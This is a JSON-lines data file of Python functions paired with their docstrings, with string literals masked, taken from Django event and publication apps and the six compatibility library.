{"signature": "def video_list(request, slug):", "body": "event = get_object_or_404(Event, slug=slug)<EOL>return render(request, '<STR_LIT>', {<EOL>'<STR_LIT>': event,<EOL>'<STR_LIT>': event.eventvideo_set.all()<EOL>})<EOL>", "docstring": "Displays list of videos for given event.", "id": "f4647:m3"}
{"signature": "@login_required<EOL>def add_event(request):", "body": "form = AddEventForm(request.POST or None)<EOL>if form.is_valid():<EOL><INDENT>instance = form.save(commit=False)<EOL>instance.sites = settings.SITE_ID<EOL>instance.submitted_by = request.user<EOL>instance.approved = True<EOL>instance.slug = slugify(instance.name)<EOL>instance.save()<EOL>messages.success(request, '<STR_LIT>')<EOL>return HttpResponseRedirect(reverse('<STR_LIT>'))<EOL><DEDENT>return render(request, '<STR_LIT>', {<EOL>'<STR_LIT>': form,<EOL>'<STR_LIT>': '<STR_LIT>'<EOL>})<EOL>", "docstring": "Public form to add an event.", "id": "f4647:m4"}
{"signature": "def add_memory(request, slug):", "body": "event = get_object_or_404(Event, slug=slug)<EOL>form = MemoryForm(request.POST or None, request.FILES or None)<EOL>if form.is_valid():<EOL><INDENT>instance = form.save(commit=False)<EOL>instance.user = request.user<EOL>instance.event = event<EOL>instance.save()<EOL>msg = \"<STR_LIT>\"<EOL>if request.FILES:<EOL><INDENT>photo_list = request.FILES.getlist('<STR_LIT>')<EOL>photo_count = len(photo_list)<EOL>for upload_file in photo_list:<EOL><INDENT>process_upload(upload_file, instance, form, event, request)<EOL><DEDENT>if photo_count > <NUM_LIT:1>:<EOL><INDENT>msg += \"<STR_LIT>\".format(photo_count)<EOL><DEDENT>else:<EOL><INDENT>msg += \"<STR_LIT>\".format(photo_count)<EOL><DEDENT><DEDENT>messages.success(request, msg)<EOL>return HttpResponseRedirect('<STR_LIT>')<EOL><DEDENT>return render(request, '<STR_LIT>', {'<STR_LIT>': form, '<STR_LIT>': event})<EOL>", "docstring": "Adds a memory to an event.", "id": "f4647:m6"}
{"signature": "def process_upload(upload_file, instance, form, event, request):", "body": "caption = form.cleaned_data.get('<STR_LIT>')<EOL>upload_name = upload_file.name.lower()<EOL>if upload_name.endswith('<STR_LIT>') or upload_name.endswith('<STR_LIT>'):<EOL><INDENT>try:<EOL><INDENT>upload = Image(<EOL>event=event,<EOL>image=upload_file,<EOL>caption=caption,<EOL>)<EOL>upload.save()<EOL>instance.photos.add(upload)<EOL><DEDENT>except Exception as error:<EOL><INDENT>messages.error(request, '<STR_LIT>'.format(error))<EOL><DEDENT><DEDENT>", "docstring": "Helper function that actually processes and saves the upload(s).\nSegregated out for readability.", "id": "f4647:m7"}
{"signature": "def clean(self):", "body": "cleaned = super(EventForm, self).clean()<EOL>if Event.objects.filter(name=cleaned['<STR_LIT:name>'], start_date=cleaned['<STR_LIT>']).count():<EOL><INDENT>raise forms.ValidationError(u'<STR_LIT>')<EOL><DEDENT>return cleaned<EOL>", "docstring": "Validate that an event with this name on this date does not exist.", "id": "f4648:c2:m0"}
{"signature": "def delete_past_events(self):", "body": "lapsed = datetime.datetime.now() - datetime.timedelta(days=<NUM_LIT>)<EOL>for event in self.filter(start_date__lte=lapsed, featured=<NUM_LIT:0>, recap='<STR_LIT>'):<EOL><INDENT>event.delete()<EOL><DEDENT>", "docstring": "Removes old events. This is provided largely as a convenience for maintenance\npurposes (daily_cleanup). if an Event has passed by more than X days\nas defined by Lapsed and has no related special events it will be deleted\nto free up the event name and remove clutter.\nFor best results, set this up to run regularly as a cron job.", "id": "f4650:c0:m0"}
{"signature": "def recently_ended(self):", "body": "if self.ended():<EOL><INDENT>end_date = self.end_date if self.end_date else self.start_date<EOL>if end_date >= offset.date():<EOL><INDENT>return True<EOL><DEDENT><DEDENT>", "docstring": "Determines if event ended recently (within 5 days).\nUseful for attending list.", "id": "f4650:c1:m5"}
{"signature": "def has_started(self):", "body": "if self.start_date <= datetime.date.today():<EOL><INDENT>return True<EOL><DEDENT>", "docstring": "Determines if event has started. Duh.", "id": "f4650:c1:m6"}
{"signature": "def comments_open(self):", "body": "return True<EOL>", "docstring": "Determine if comments should be allowed.\nProbably need some more robust logic here :-)\nMaybe something like \"If event has been over for a month, no more comments.\"\nOr something.", "id": "f4650:c1:m7"}
{"signature": "def get_image(self):", "body": "try:<EOL><INDENT>return self.image_set.all()[<NUM_LIT:0>].image<EOL><DEDENT>except IndexError:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Returns first image object from set for an image representation", "id": "f4650:c1:m8"}
{"signature": "def get_all_images(self):", "body": "self_imgs = self.image_set.all()<EOL>update_ids = self.update_set.values_list('<STR_LIT:id>', flat=True)<EOL>u_images = UpdateImage.objects.filter(update__id__in=update_ids)<EOL>return list(chain(self_imgs, u_images))<EOL>", "docstring": "Returns chained list of event and update images.", "id": "f4650:c1:m9"}
{"signature": "def get_all_images_count(self):", "body": "self_imgs = self.image_set.count()<EOL>update_ids = self.update_set.values_list('<STR_LIT:id>', flat=True)<EOL>u_images = UpdateImage.objects.filter(update__id__in=update_ids).count()<EOL>count = self_imgs + u_images<EOL>return count<EOL>", "docstring": "Gets count of all images from both event and updates.", "id": "f4650:c1:m10"}
{"signature": "def get_top_assets(self):", "body": "images = self.get_all_images()[<NUM_LIT:0>:<NUM_LIT>]<EOL>video = []<EOL>if supports_video:<EOL><INDENT>video = self.eventvideo_set.all()[<NUM_LIT:0>:<NUM_LIT:10>]<EOL><DEDENT>return list(chain(images, video))[<NUM_LIT:0>:<NUM_LIT:15>]<EOL>", "docstring": "Gets images and videos to populate top assets.\n\nMap is built separately.", "id": "f4650:c1:m11"}
{"signature": "@cached_property<EOL><INDENT>def comments_open(self):<DEDENT>", "body": "return self.event.comments_open<EOL>", "docstring": "Based on the update's event's comments open status", "id": "f4650:c5:m3"}
{"signature": "def create_ical(request, slug):", "body": "event = get_object_or_404(Event, slug=slug)<EOL>start = event.start_date<EOL>start = datetime.datetime(start.year, start.month, start.day)<EOL>if event.end_date:<EOL><INDENT>end = event.end_date<EOL>end = datetime.datetime(end.year, end.month, end.day)<EOL><DEDENT>else:<EOL><INDENT>end = start<EOL><DEDENT>cal = card_me.iCalendar()<EOL>cal.add('<STR_LIT>').value = '<STR_LIT>'<EOL>vevent = cal.add('<STR_LIT>')<EOL>vevent.add('<STR_LIT>').value = start<EOL>vevent.add('<STR_LIT>').value = end<EOL>vevent.add('<STR_LIT>').value = datetime.datetime.now()<EOL>vevent.add('<STR_LIT>').value = event.name<EOL>response = HttpResponse(cal.serialize(), content_type='<STR_LIT>')<EOL>response['<STR_LIT>'] = '<STR_LIT>'<EOL>response['<STR_LIT>'] = '<STR_LIT>'<EOL>return response<EOL>", "docstring": "Creates an ical .ics file for an event using python-card-me.", "id": "f4652:m0"}
{"signature": "def event_all_comments_list(request, slug):", "body": "event = get_object_or_404(Event, slug=slug)<EOL>comments = event.all_comments<EOL>page = int(request.GET.get('<STR_LIT>', <NUM_LIT>))  <EOL>is_paginated = False<EOL>if comments:<EOL><INDENT>paginator = Paginator(comments, <NUM_LIT:50>)  <EOL>try:<EOL><INDENT>comments = paginator.page(page)<EOL><DEDENT>except EmptyPage:<EOL><INDENT>comments = paginator.page(paginator.num_pages)<EOL><DEDENT>is_paginated = comments.has_other_pages()<EOL><DEDENT>return render(request, '<STR_LIT>', {<EOL>\"<STR_LIT>\": event,<EOL>\"<STR_LIT>\": comments,<EOL>\"<STR_LIT>\": comments,<EOL>\"<STR_LIT>\": comments,<EOL>\"<STR_LIT>\": page,<EOL>\"<STR_LIT>\": is_paginated,<EOL>\"<STR_LIT:key>\": key<EOL>})<EOL>", "docstring": "Returns a list view of all comments for a given event.\nCombines event comments and update comments in one list.", "id": "f4652:m1"}
{"signature": "def event_update_list(request, slug):", "body": "event = get_object_or_404(Event, slug=slug)<EOL>updates = Update.objects.filter(event__slug=slug)<EOL>if event.recently_ended():<EOL><INDENT>updates = updates.order_by('<STR_LIT:id>')<EOL><DEDENT>else:<EOL><INDENT>updates = updates.order_by('<STR_LIT>')<EOL><DEDENT>return render(request, '<STR_LIT>', {<EOL>'<STR_LIT>': event,<EOL>'<STR_LIT>': updates,<EOL>})<EOL>", "docstring": "Returns a list view of updates for a given event.\nIf the event is over, it will be in chronological order.\nIf the event is upcoming or still going,\nit will be in reverse chronological order.", "id": "f4652:m2"}
{"signature": "def video_list(request, slug):", "body": "event = get_object_or_404(Event, slug=slug)<EOL>return render(request, '<STR_LIT>', {<EOL>'<STR_LIT>': event,<EOL>'<STR_LIT>': event.eventvideo_set.all()<EOL>})<EOL>", "docstring": "Displays list of videos for given event.", "id": "f4652:m3"}
{"signature": "@login_required<EOL>def add_event(request):", "body": "form = AddEventForm(request.POST or None)<EOL>if form.is_valid():<EOL><INDENT>instance = form.save(commit=False)<EOL>instance.sites = settings.SITE_ID<EOL>instance.submitted_by = request.user<EOL>instance.approved = True<EOL>instance.slug = slugify(instance.name)<EOL>instance.save()<EOL>messages.success(request, '<STR_LIT>')<EOL>return HttpResponseRedirect(reverse('<STR_LIT>'))<EOL><DEDENT>return render(request, '<STR_LIT>', {<EOL>'<STR_LIT>': form,<EOL>'<STR_LIT>': '<STR_LIT>'<EOL>})<EOL>", "docstring": "Public form to add an event.", "id": "f4652:m4"}
{"signature": "def add_memory(request, slug):", "body": "event = get_object_or_404(Event, slug=slug)<EOL>form = MemoryForm(request.POST or None, request.FILES or None)<EOL>if form.is_valid():<EOL><INDENT>instance = form.save(commit=False)<EOL>instance.user = request.user<EOL>instance.event = event<EOL>instance.save()<EOL>msg = \"<STR_LIT>\"<EOL>if request.FILES:<EOL><INDENT>photo_list = request.FILES.getlist('<STR_LIT>')<EOL>photo_count = len(photo_list)<EOL>for upload_file in photo_list:<EOL><INDENT>process_upload(upload_file, instance, form, event, request)<EOL><DEDENT>if photo_count > <NUM_LIT:1>:<EOL><INDENT>msg += \"<STR_LIT>\".format(photo_count)<EOL><DEDENT>else:<EOL><INDENT>msg += \"<STR_LIT>\".format(photo_count)<EOL><DEDENT><DEDENT>messages.success(request, msg)<EOL>return HttpResponseRedirect('<STR_LIT>')<EOL><DEDENT>return render(request, '<STR_LIT>', {'<STR_LIT>': form, '<STR_LIT>': event})<EOL>", "docstring": "Adds a memory to an event.", "id": "f4652:m6"}
{"signature": "def process_upload(upload_file, instance, form, event, request):", "body": "caption = form.cleaned_data.get('<STR_LIT>')<EOL>upload_name = upload_file.name.lower()<EOL>if upload_name.endswith('<STR_LIT>') or upload_name.endswith('<STR_LIT>'):<EOL><INDENT>try:<EOL><INDENT>upload = Image(<EOL>event=event,<EOL>image=upload_file,<EOL>caption=caption,<EOL>)<EOL>upload.save()<EOL>instance.photos.add(upload)<EOL><DEDENT>except Exception as error:<EOL><INDENT>messages.error(request, '<STR_LIT>'.format(error))<EOL><DEDENT><DEDENT>", "docstring": "Helper function that actually processes and saves the upload(s).\nSegregated out for readability.", "id": "f4652:m7"}
{"signature": "def delete_past_events(self):", "body": "lapsed = datetime.datetime.now() - datetime.timedelta(days=<NUM_LIT>)<EOL>for event in self.filter(start_date__lte=lapsed, featured=<NUM_LIT:0>, recap='<STR_LIT>'):<EOL><INDENT>event.delete()<EOL><DEDENT>", "docstring": "Removes old events. This is provided largely as a convenience for maintenance\npurposes (daily_cleanup). if an Event has passed by more than X days\nas defined by Lapsed and has no related special events it will be deleted\nto free up the event name and remove clutter.\nFor best results, set this up to run regularly as a cron job.", "id": "f4654:c0:m0"}
{"signature": "def recently_ended(self):", "body": "if self.ended():<EOL><INDENT>end_date = self.end_date if self.end_date else self.start_date<EOL>if end_date >= offset.date():<EOL><INDENT>return True<EOL><DEDENT><DEDENT>", "docstring": "Determines if event ended recently (within 5 days).\nUseful for attending list.", "id": "f4654:c1:m5"}
{"signature": "def has_started(self):", "body": "if self.start_date <= datetime.date.today():<EOL><INDENT>return True<EOL><DEDENT>", "docstring": "Determines if event has started. Duh.", "id": "f4654:c1:m6"}
{"signature": "def comments_open(self):", "body": "return True<EOL>", "docstring": "Determine if comments should be allowed.\nProbably need some more robust logic here :-)\nMaybe something like \"If event has been over for a month, no more comments.\"\nOr something.", "id": "f4654:c1:m7"}
{"signature": "@cached_property<EOL><INDENT>def all_comments(self):<DEDENT>", "body": "ctype = ContentType.objects.get(app_label__exact=\"<STR_LIT>\", model__exact='<STR_LIT>')<EOL>update_ctype = ContentType.objects.get(app_label__exact=\"<STR_LIT>\", model__exact='<STR_LIT>')<EOL>update_ids = self.update_set.values_list('<STR_LIT:id>', flat=True)<EOL>return Comment.objects.filter(<EOL>Q(content_type=ctype.id, object_pk=self.id) |<EOL>Q(content_type=update_ctype.id, object_pk__in=update_ids)<EOL>)<EOL>", "docstring": "Returns combined list of event and update comments.", "id": "f4654:c1:m8"}
{"signature": "def get_image(self):", "body": "try:<EOL><INDENT>return self.image_set.all()[<NUM_LIT:0>].image<EOL><DEDENT>except IndexError:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Returns first image object from set for an image representation", "id": "f4654:c1:m11"}
{"signature": "def get_all_images(self):", "body": "self_imgs = self.image_set.all()<EOL>update_ids = self.update_set.values_list('<STR_LIT:id>', flat=True)<EOL>u_images = UpdateImage.objects.filter(update__id__in=update_ids)<EOL>return list(chain(self_imgs, u_images))<EOL>", "docstring": "Returns chained list of event and update images.", "id": "f4654:c1:m12"}
{"signature": "def get_all_images_count(self):", "body": "self_imgs = self.image_set.count()<EOL>update_ids = self.update_set.values_list('<STR_LIT:id>', flat=True)<EOL>u_images = UpdateImage.objects.filter(update__id__in=update_ids).count()<EOL>count = self_imgs + u_images<EOL>return count<EOL>", "docstring": "Gets count of all images from both event and updates.", "id": "f4654:c1:m13"}
{"signature": "def get_top_assets(self):", "body": "images = self.get_all_images()[<NUM_LIT:0>:<NUM_LIT>]<EOL>video = []<EOL>if supports_video:<EOL><INDENT>video = self.eventvideo_set.all()[<NUM_LIT:0>:<NUM_LIT:10>]<EOL><DEDENT>return list(chain(images, video))[<NUM_LIT:0>:<NUM_LIT:15>]<EOL>", "docstring": "Gets images and videos to populate top assets.\n\nMap is built separately.", "id": "f4654:c1:m14"}
{"signature": "@cached_property<EOL><INDENT>def comments_open(self):<DEDENT>", "body": "return self.event.comments_open<EOL>", "docstring": "Based on the update's event's comments open status", "id": "f4654:c5:m3"}
{"signature": "def is_alive(self):", "body": "<EOL>return {<EOL>'<STR_LIT>': self.device.device.is_alive()<EOL>}<EOL>", "docstring": "Returns a flag with the state of the connection.", "id": "f4658:c0:m3"}
{"signature": "def parse(string):", "body": "<EOL>bib = []<EOL>if not isinstance(string, six.text_type):<EOL><INDENT>string = string.decode('<STR_LIT:utf-8>')<EOL><DEDENT>for key, value in special_chars:<EOL><INDENT>string = string.replace(key, value)<EOL><DEDENT>string = re.sub(r'<STR_LIT>', r'<STR_LIT>', string)<EOL>entries = re.findall(<EOL>r'<STR_LIT>',<EOL>string)<EOL>for entry in entries:<EOL><INDENT>pairs = re.findall(r'<STR_LIT>', entry[<NUM_LIT:2>])<EOL>bib.append({'<STR_LIT:type>': entry[<NUM_LIT:0>].lower(), '<STR_LIT:key>': entry[<NUM_LIT:1>]})<EOL>for key, value in pairs:<EOL><INDENT>key = key.lower()<EOL>if value and value[<NUM_LIT:0>] == '<STR_LIT:\">' and value[-<NUM_LIT:1>] == '<STR_LIT:\">':<EOL><INDENT>value = value[<NUM_LIT:1>:-<NUM_LIT:1>]<EOL><DEDENT>if value and value[<NUM_LIT:0>] == '<STR_LIT:{>' and value[-<NUM_LIT:1>] == '<STR_LIT:}>':<EOL><INDENT>value = value[<NUM_LIT:1>:-<NUM_LIT:1>]<EOL><DEDENT>if key not in ['<STR_LIT>', '<STR_LIT:title>']:<EOL><INDENT>value = value.replace('<STR_LIT:}>', '<STR_LIT>').replace('<STR_LIT:{>', '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>if value.startswith('<STR_LIT:{>') and value.endswith('<STR_LIT:}>'):<EOL><INDENT>value = value[<NUM_LIT:1>:]<EOL>value = value[:-<NUM_LIT:1>]<EOL><DEDENT><DEDENT>value = value.strip()<EOL>value = re.sub(r'<STR_LIT>', '<STR_LIT:U+0020>', value)<EOL>bib[-<NUM_LIT:1>][key] = value<EOL><DEDENT><DEDENT>return bib<EOL>", "docstring": "Takes a string in BibTex format and returns a list of BibTex entries, where\neach entry is a dictionary containing the entries' key-value pairs.\n\n@type  string: string\n@param string: bibliography in BibTex format\n\n@rtype: list\n@return: a list of dictionaries representing a bibliography", "id": "f4667:m0"}
{"signature": "def get_publications(context, template='<STR_LIT>'):", "body": "types = Type.objects.filter(hidden=False)<EOL>publications = Publication.objects.select_related()<EOL>publications = publications.filter(external=False, type__in=types)<EOL>publications = publications.order_by('<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL>if not publications:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>populate(publications)<EOL>return render_template(template, context['<STR_LIT>'], {'<STR_LIT>': publications})<EOL>", "docstring": "Get all publications.", "id": "f4673:m1"}
{"signature": "def get_publication(context, id):", "body": "pbl = Publication.objects.filter(pk=int(id))<EOL>if len(pbl) < <NUM_LIT:1>:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>pbl[<NUM_LIT:0>].links = pbl[<NUM_LIT:0>].customlink_set.all()<EOL>pbl[<NUM_LIT:0>].files = pbl[<NUM_LIT:0>].customfile_set.all()<EOL>return render_template(<EOL>'<STR_LIT>', context['<STR_LIT>'], {'<STR_LIT>': pbl[<NUM_LIT:0>]})<EOL>", "docstring": "Get a single publication.", "id": "f4673:m2"}
{"signature": "def get_publication_list(context, list, template='<STR_LIT>'):", "body": "list = List.objects.filter(list__iexact=list)<EOL>if not list:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>list = list[<NUM_LIT:0>]<EOL>publications = list.publication_set.all()<EOL>publications = publications.order_by('<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL>if not publications:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>populate(publications)<EOL>return render_template(<EOL>template, context['<STR_LIT>'], {'<STR_LIT:list>': list, '<STR_LIT>': publications})<EOL>", "docstring": "Get a publication list.", "id": "f4673:m3"}
{"signature": "def tex_parse(string):", "body": "string = string.replace('<STR_LIT:{>', '<STR_LIT>').replace('<STR_LIT:}>', '<STR_LIT>')<EOL>def tex_replace(match):<EOL><INDENT>returnsub(r'<STR_LIT>', r'<STR_LIT>',<EOL>sub(r'<STR_LIT>', r'<STR_LIT>',<EOL>sub(r'<STR_LIT>', r'<STR_LIT>',<EOL>sub(r'<STR_LIT>', r'<STR_LIT>',<EOL>sub(r'<STR_LIT>' + GREEK_LETTERS + '<STR_LIT:)>', r'<STR_LIT>', match.group(<NUM_LIT:1>))))))<EOL><DEDENT>return mark_safe(sub(r'<STR_LIT>', tex_replace, escape(string)))<EOL>", "docstring": "Renders some basic TeX math to HTML.", "id": "f4673:m4"}
{"signature": "def mods_genre(self):", "body": "type2genre = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>'<EOL>}<EOL>tp = str(self.type).lower()<EOL>return type2genre.get(tp, tp)<EOL>", "docstring": "Guesses an appropriate MODS XML genre type.", "id": "f4677:c0:m4"}
{"signature": "def _produce_author_lists(self):", "body": "<EOL>self.authors = self.authors.replace('<STR_LIT>', '<STR_LIT:U+002CU+0020>')<EOL>self.authors = self.authors.replace('<STR_LIT>', '<STR_LIT:U+002CU+0020>')<EOL>self.authors = self.authors.replace('<STR_LIT>', '<STR_LIT:U+002CU+0020>')<EOL>self.authors = self.authors.replace('<STR_LIT:;>', '<STR_LIT:U+002C>')<EOL>self.authors_list = [author.strip() for author in self.authors.split('<STR_LIT:U+002C>')]<EOL>self.authors_list_simple = []<EOL>self.authors_list_split = []<EOL>self.title_ends_with_punct = self.title[-<NUM_LIT:1>] in ['<STR_LIT:.>', '<STR_LIT:!>', '<STR_LIT:?>']if len(self.title) > <NUM_LIT:0> else False<EOL>suffixes = ['<STR_LIT:I>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', \"<STR_LIT>\", \"<STR_LIT>\"]<EOL>prefixes = ['<STR_LIT>']<EOL>prepositions = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>for i, author in enumerate(self.authors_list):<EOL><INDENT>if author == '<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>names = author.split('<STR_LIT:U+0020>')<EOL>if (len(names[-<NUM_LIT:1>]) <= <NUM_LIT:3>)and names[-<NUM_LIT:1>] not in suffixesand all(c in ascii_uppercase for c in names[-<NUM_LIT:1>]):<EOL><INDENT>names = [c + '<STR_LIT:.>' for c in names[-<NUM_LIT:1>]] + names[:-<NUM_LIT:1>]<EOL><DEDENT>num_suffixes = <NUM_LIT:0><EOL>for name in names[::-<NUM_LIT:1>]:<EOL><INDENT>if name in suffixes:<EOL><INDENT>num_suffixes += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>for j, name in enumerate(names[:-<NUM_LIT:1> - num_suffixes]):<EOL><INDENT>if j == <NUM_LIT:0> and name in prefixes:<EOL><INDENT>continue<EOL><DEDENT>if j > <NUM_LIT:0> and name in prepositions:<EOL><INDENT>continue<EOL><DEDENT>if (len(name) > <NUM_LIT:2>) or (len(name) and (name[-<NUM_LIT:1>] != '<STR_LIT:.>')):<EOL><INDENT>k = name.find('<STR_LIT:->')<EOL>if <NUM_LIT:0> < k + <NUM_LIT:1> < len(name):<EOL><INDENT>names[j] = name[<NUM_LIT:0>] + '<STR_LIT>' + name[k + <NUM_LIT:1>] + '<STR_LIT:.>'<EOL><DEDENT>else:<EOL><INDENT>names[j] = name[<NUM_LIT:0>] + '<STR_LIT:.>'<EOL><DEDENT><DEDENT><DEDENT>if len(names):<EOL><INDENT>self.authors_list[i] = '<STR_LIT:U+0020>'.join(names)<EOL>if len(names) > <NUM_LIT:1>:<EOL><INDENT>for name in names[<NUM_LIT:0>].split('<STR_LIT:->'):<EOL><INDENT>name_simple = self.simplify_name('<STR_LIT:U+0020>'.join([name, names[-<NUM_LIT:1>]]))<EOL>self.authors_list_simple.append(name_simple)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.authors_list_simple.append(self.simplify_name(names[<NUM_LIT:0>]))<EOL><DEDENT>num_prepositions = <NUM_LIT:0><EOL>for name in names:<EOL><INDENT>if name in prepositions:<EOL><INDENT>num_prepositions += <NUM_LIT:1><EOL><DEDENT><DEDENT>sp = <NUM_LIT:1> + num_suffixes + num_prepositions<EOL>self.authors_list_split.append(<EOL>('<STR_LIT:U+0020>'.join(names[:-sp]), '<STR_LIT:U+0020>'.join(names[-sp:])))<EOL><DEDENT><DEDENT>self.authors_bibtex = '<STR_LIT>'.join(self.authors_list)<EOL>if len(self.authors_list) > <NUM_LIT:2>:<EOL><INDENT>self.authors = '<STR_LIT>'.join([<EOL>'<STR_LIT:U+002CU+0020>'.join(self.authors_list[:-<NUM_LIT:1>]),<EOL>self.authors_list[-<NUM_LIT:1>]])<EOL><DEDENT>elif len(self.authors_list) > <NUM_LIT:1>:<EOL><INDENT>self.authors = '<STR_LIT>'.join(self.authors_list)<EOL><DEDENT>else:<EOL><INDENT>self.authors = self.authors_list[<NUM_LIT:0>]<EOL><DEDENT>", "docstring": "Parse authors string to create lists of authors.", "id": "f4681:c0:m1"}
{"signature": "def move_down(self):", "body": "warnings.warn(<EOL>_(\"<STR_LIT>\"),<EOL>DeprecationWarning<EOL>)<EOL>return self.down()<EOL>", "docstring": "Move this object down one position.", "id": "f4682:c0:m6"}
{"signature": "def move_up(self):", "body": "warnings.warn(<EOL>_(\"<STR_LIT>\"),<EOL>DeprecationWarning<EOL>)<EOL>return self.up()<EOL>", "docstring": "Move this object up one position.", "id": "f4682:c0:m7"}
{"signature": "def swap(self, qs):", "body": "try:<EOL><INDENT>replacement = qs[<NUM_LIT:0>]<EOL><DEDENT>except IndexError:<EOL><INDENT>return<EOL><DEDENT>if not self._valid_ordering_reference(replacement):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\" % (<EOL>self, self.__class__, self.order_with_respect_to,<EOL>self._get_order_with_respect_to()<EOL>)<EOL>)<EOL><DEDENT>self.order, replacement.order = replacement.order, self.order<EOL>self.save()<EOL>replacement.save()<EOL>", "docstring": "Swap the positions of this object with a reference object.", "id": "f4682:c0:m8"}
{"signature": "def up(self):", "body": "self.swap(self.get_ordering_queryset().filter(order__lt=self.order).order_by('<STR_LIT>'))<EOL>", "docstring": "Move this object up one position.", "id": "f4682:c0:m9"}
{"signature": "def down(self):", "body": "self.swap(self.get_ordering_queryset().filter(order__gt=self.order))<EOL>", "docstring": "Move this object down one position.", "id": "f4682:c0:m10"}
{"signature": "def to(self, order):", "body": "if order is None or self.order == order:<EOL><INDENT>return<EOL><DEDENT>qs = self.get_ordering_queryset()<EOL>if self.order > order:<EOL><INDENT>qs.filter(order__lt=self.order, order__gte=order).update(order=F('<STR_LIT>') + <NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>qs.filter(order__gt=self.order, order__lte=order).update(order=F('<STR_LIT>') - <NUM_LIT:1>)<EOL><DEDENT>self.order = order<EOL>self.save()<EOL>", "docstring": "Move object to a certain position, updating all affected objects to move accordingly up or down.", "id": "f4682:c0:m11"}
{"signature": "def above(self, ref):", "body": "if not self._valid_ordering_reference(ref):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\" % (<EOL>self, self.__class__, self.order_with_respect_to,<EOL>self._get_order_with_respect_to()<EOL>)<EOL>)<EOL><DEDENT>if self.order == ref.order:<EOL><INDENT>return<EOL><DEDENT>if self.order > ref.order:<EOL><INDENT>o = ref.order<EOL><DEDENT>else:<EOL><INDENT>o = self.get_ordering_queryset().filter(order__lt=ref.order).aggregate(Max('<STR_LIT>')).get('<STR_LIT>') or <NUM_LIT:0><EOL><DEDENT>self.to(o)<EOL>", "docstring": "Move this object above the referenced object.", "id": "f4682:c0:m12"}
{"signature": "def below(self, ref):", "body": "if not self._valid_ordering_reference(ref):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\" % (<EOL>self, self.__class__, self.order_with_respect_to,<EOL>self._get_order_with_respect_to()<EOL>)<EOL>)<EOL><DEDENT>if self.order == ref.order:<EOL><INDENT>return<EOL><DEDENT>if self.order > ref.order:<EOL><INDENT>o = self.get_ordering_queryset().filter(order__gt=ref.order).aggregate(Min('<STR_LIT>')).get('<STR_LIT>') or <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>o = ref.order<EOL><DEDENT>self.to(o)<EOL>", "docstring": "Move this object below the referenced object.", "id": "f4682:c0:m13"}
{"signature": "def top(self):", "body": "o = self.get_ordering_queryset().aggregate(Min('<STR_LIT>')).get('<STR_LIT>')<EOL>self.to(o)<EOL>", "docstring": "Move this object to the top of the ordered stack.", "id": "f4682:c0:m14"}
{"signature": "def bottom(self):", "body": "o = self.get_ordering_queryset().aggregate(Max('<STR_LIT>')).get('<STR_LIT>')<EOL>self.to(o)<EOL>", "docstring": "Move this object to the bottom of the ordered stack.", "id": "f4682:c0:m15"}
{"signature": "def _add_doc(func, doc):", "body": "func.__doc__ = doc<EOL>", "docstring": "Add documentation to a function.", "id": "f4689:m0"}
{"signature": "def _import_module(name):", "body": "__import__(name)<EOL>return sys.modules[name]<EOL>", "docstring": "Import module, returning the module after the last dot.", "id": "f4689:m1"}
{"signature": "def add_move(move):", "body": "setattr(_MovedItems, move.name, move)<EOL>", "docstring": "Add an item to six.moves.", "id": "f4689:m2"}
{"signature": "def remove_move(name):", "body": "try:<EOL><INDENT>delattr(_MovedItems, name)<EOL><DEDENT>except AttributeError:<EOL><INDENT>try:<EOL><INDENT>del moves.__dict__[name]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise AttributeError(\"<STR_LIT>\" % (name,))<EOL><DEDENT><DEDENT>", "docstring": "Remove item from six.moves.", "id": "f4689:m3"}
{"signature": "def iterkeys(d, **kw):", "body": "return iter(getattr(d, _iterkeys)(**kw))<EOL>", "docstring": "Return an iterator over the keys of a dictionary.", "id": "f4689:m4"}
{"signature": "def itervalues(d, **kw):", "body": "return iter(getattr(d, _itervalues)(**kw))<EOL>", "docstring": "Return an iterator over the values of a dictionary.", "id": "f4689:m5"}
{"signature": "def iteritems(d, **kw):", "body": "return iter(getattr(d, _iteritems)(**kw))<EOL>", "docstring": "Return an iterator over the (key, value) pairs of a dictionary.", "id": "f4689:m6"}
{"signature": "def iterlists(d, **kw):", "body": "return iter(getattr(d, _iterlists)(**kw))<EOL>", "docstring": "Return an iterator over the (key, [values]) pairs of a dictionary.", "id": "f4689:m7"}
{"signature": "def with_metaclass(meta, *bases):", "body": "return meta(\"<STR_LIT>\", bases, {})<EOL>", "docstring": "Create a base class with a metaclass.", "id": "f4689:m8"}
{"signature": "def add_metaclass(metaclass):", "body": "def wrapper(cls):<EOL><INDENT>orig_vars = cls.__dict__.copy()<EOL>orig_vars.pop('<STR_LIT>', None)<EOL>orig_vars.pop('<STR_LIT>', None)<EOL>slots = orig_vars.get('<STR_LIT>')<EOL>if slots is not None:<EOL><INDENT>if isinstance(slots, str):<EOL><INDENT>slots = [slots]<EOL><DEDENT>for slots_var in slots:<EOL><INDENT>orig_vars.pop(slots_var)<EOL><DEDENT><DEDENT>return metaclass(cls.__name__, cls.__bases__, orig_vars)<EOL><DEDENT>return wrapper<EOL>", "docstring": "Class decorator for creating a class with a metaclass.", "id": "f4689:m9"}
